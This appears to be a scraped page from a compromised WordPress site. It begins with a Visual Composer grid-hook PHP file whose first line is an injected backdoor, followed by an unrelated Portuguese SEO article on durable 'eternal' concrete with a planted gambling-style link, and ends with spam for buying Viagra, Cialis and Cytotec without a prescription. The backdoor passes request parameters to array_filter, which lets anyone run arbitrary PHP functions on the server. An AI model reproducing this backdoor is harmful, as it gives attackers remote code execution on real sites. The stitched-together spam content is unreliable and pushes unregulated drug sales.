?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Betão Eterno Resistente e Sustentável - Groupe-SLG

Groupe SLG

Betão Eterno Resistente e Sustentável

Recrutement :

Betão Eterno Resistente e Sustentável

Quando pensamos em construção civil, a imagem que vem à mente é de estruturas imponentes, pontes que desafiam a gravidade e edifícios que abrigam histórias. No centro de tudo isso, está um material tão comum que às vezes esquecemos sua verdadeira importância. Falo, claro, do betão, essa mistura engenhosa que, quando bem feita, pode durar séculos. Mas não estamos falando de qualquer betão. A busca por um Marte betão eterno — que una resistência imbatível e sustentabilidade real — não é apenas uma tendência; é uma necessidade do nosso tempo. E é exatamente sobre essa evolução fascinante que vamos conversar aqui.

A jornada do betão comum até chegar a essa versão « eterna » é cheia de descobertas. Engenheiros e cientistas de materiais têm mergulhado em novas formulações, buscando reduzir o impacto ambiental sem sacrificar o desempenho. O segredo está na composição: adicionar materiais como cinzas volantes, sílica ativa e escórias de alto-forno transforma o concreto convencional em algo extraordinário. Essa nova geração de misturas não apenas cura fissuras microscópicas com o tempo — um fenômeno conhecido como autocicatrização — como também se torna mais densa e menos permeável. O resultado? Uma estrutura que literalmente resiste à passagem dos anos com uma elegância silenciosa. Para quem procura soluções avançadas nessa área, explorar as opções disponíveis faz toda a diferença. Um bom exemplo pode ser encontrado em plataformas especializadas, como bet ão, onde se discute o futuro da construção sustentável e de alta performance.

O que torna o betão eterno tão especial é sua capacidade de se adaptar. Em vez de ser apenas um bloco inerte, ele se torna um sistema vivo, reagindo quimicamente com o ambiente para se fortalecer. Essa propriedade reduz drasticamente a necessidade de reparos e manutenção ao longo da vida útil de uma edificação. Pense em uma barragem ou um arranha-céu: a economia de recursos e o ganho em segurança são imensos. Não se trata de uma invenção de laboratório distante; essa tecnologia já está sendo aplicada em projetos de infraestrutura ao redor do mundo, desde estradas que duram décadas até fundações de prédios que desafiam a corrosão.

A pegada de carbono do cimento tradicional sempre foi o calcanhar de Aquiles da construção. Porém, o betão eterno resistente e sustentável inverte essa lógica. Ao incorporar subprodutos industriais reciclados, como as escórias de siderurgia, reduzimos a necessidade de clínquer — o principal vilão das emissões. Além disso, a longevidade extrema significa que menos material será extraído e transportado ao longo dos séculos para substituir estruturas degradadas. É uma abordagem circular: construímos algo que dura, que consome menos matéria-prima virgem e que, no final da vida útil (se é que ela chega), pode ser triturado e reutilizado como agregado. A sustentabilidade aqui não é um rótulo vazio; é um compromisso químico e estrutural.

Para entender melhor as vantagens práticas, vejamos uma comparação direta entre o betão tradicional e o que podemos chamar de betão de alto desempenho sustentável:

Característica Betão Convencional Betão Eterno Sustentável
Vida útil estimada 50 a 70 anos Mais de 100 anos (até 200+ em condições controladas)
Manutenção necessária Alta, com reparos periódicos Mínima, devido à autocicatrização
Emissão de CO₂ na produção Alta (cerca de 800 kg/t de cimento) Reduzida (até 40% menos com substituições)
Resistência a agentes agressivos Moderada (sujeito a cloretos e sulfatos) Alta (baixíssima permeabilidade)

Esses números não são meras projeções otimistas. Eles refletem décadas de pesquisa e aplicações reais. A diferença de manutenção, por exemplo, gera uma economia astronômica ao longo do tempo. Imagine um hospital ou uma ponte que não precisa fechar para reparos por um século. O benefício social é tão impactante quanto o financeiro.

Claro, nenhuma tecnologia é perfeita. O betão eterno exige um controle de qualidade mais rigoroso na obra, com medições precisas de temperatura e umidade durante a cura. Os custos iniciais podem ser ligeiramente superiores, mas o retorno sobre o investimento é garantido pela ausência de intervenções futuras. Além disso, a disponibilidade de alguns materiais reciclados varia regionalmente, exigindo logística inteligente. Ainda assim, os desafios são amplamente superados pelos ganhos.

Aqui estão os principais pilares que fazem desse material uma escolha tão promissora:

  • Autocicatrização: Fissuras se fecham sozinhas através de reações químicas internas.
  • Baixo teor de carbono: Uso de cimentos mistos e adições minerais que reduzem as emissões.
  • Durabilidade excepcional: Resistência a ciclos de gelo-degelo, ataque químico e abrasão.
  • Reciclabilidade total: Ao final de sua vida (que demora a chegar), pode ser transformado em novos agregados.
  • Segurança estrutural: Menor risco de colapso ou degradação precoce em zonas sísmicas ou costeiras.

O caminho para adotar esse tipo de solução passa por uma mudança de mentalidade. Não se trata de gastar mais, mas de investir melhor. Projetos de grande porte, como túneis submersos e plataformas offshore, já estão utilizando variações desse betão. Aos poucos, a construção residencial também começa a colher os frutos, com casas que exigem menos reformas e que mantêm o valor patrimonial por gerações.

Perguntas Frequentes sobre Betão Eterno Sustentável

O que significa exatamente « betão eterno »?

É um termo coloquial para designar concretos de ultra-alta durabilidade, projetados para resistir por mais de um século com mínima degradação. A palavra « eterno » é uma metáfora para sua longevidade excepcional, não uma garantia literal de infinitude.

Esse betão é mais caro que o convencional?

O custo inicial por metro cúbico pode ser entre 10% e 20% maior, dependendo dos materiais disponíveis. No entanto, a economia com manutenção e reparos ao longo da vida útil da estrutura torna o custo total significativamente menor.

Como funciona a autocicatrização?

Quando uma microfissura se forma, a água penetra e reage com partículas de cimento não hidratadas ou com aditivos específicos. Isso forma cristais de silicato de cálcio hidratado que preenchem a fissura, restaurando a estanqueidade e a resistência.

Esse material é adequado para qualquer tipo de construção?

Sim, especialmente para obras onde a durabilidade é crítica: pontes, barragens, fundações, edifícios costeiros e túneis. Para construções simples, como calçadas ou muros, o benefício pode não justificar o custo extra.

A reciclagem do betão eterno é realmente eficiente?

Sim. Quando uma estrutura feita com esse material chega ao fim de sua vida útil (o que pode levar séculos), o concreto pode ser britado e usado como agregado para novos concretos ou como base para pavimentos, fechando o ciclo de forma sustentável.

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico